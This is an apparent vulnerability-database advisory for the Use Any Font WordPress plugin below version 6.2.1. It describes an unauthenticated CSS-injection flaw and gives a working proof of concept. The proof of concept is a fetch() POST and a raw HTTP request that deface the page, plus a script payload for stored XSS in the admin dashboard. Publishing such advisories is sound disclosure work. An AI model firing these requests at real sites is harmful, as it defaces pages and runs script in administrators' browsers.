WordPress Plugin Vulnerabilities
Use Any Font < 6.2.1 - Unauthenticated Arbitrary CSS Appending
Description
The plugin does not have any authorisation checks when assigning a font, allowing unauthenticated users to sent arbitrary CSS which will then be processed by the frontend for all users. Due to the lack of sanitisation and escaping in the backend, it could also lead to Stored XSS issues
Proof of Concept
fetch("https://example.com/", { "headers": { "content-type": "application/x-www-form-urlencoded" }, "body": "submit-uaf-font-assign=x&elements[]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none !important};&font_key=1", "method": "POST", "credentials": "include" }).then(response => response.text()) .then(data => console.log(data)); POST / HTTP/1.1 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-Length: 301 Connection: close submit-uaf-font-assign=x&elements[]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none+!important};&font_key=1 To perform XSS in the backend, use a payload such as <script>alert(/XSS/)</script> in the elements[], then the XSS will be triggered when viewing the Assign Font dashboard (/wp-admin/admin.php?page=use-any-font&tab=font_assign)
Affects Plugins
References
CVE
Classification
Type
NO AUTHORISATION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-01-31 (about 2 years ago)
Added
2022-01-31 (about 2 years ago)
Last Updated
2022-05-19 (about 1 years ago)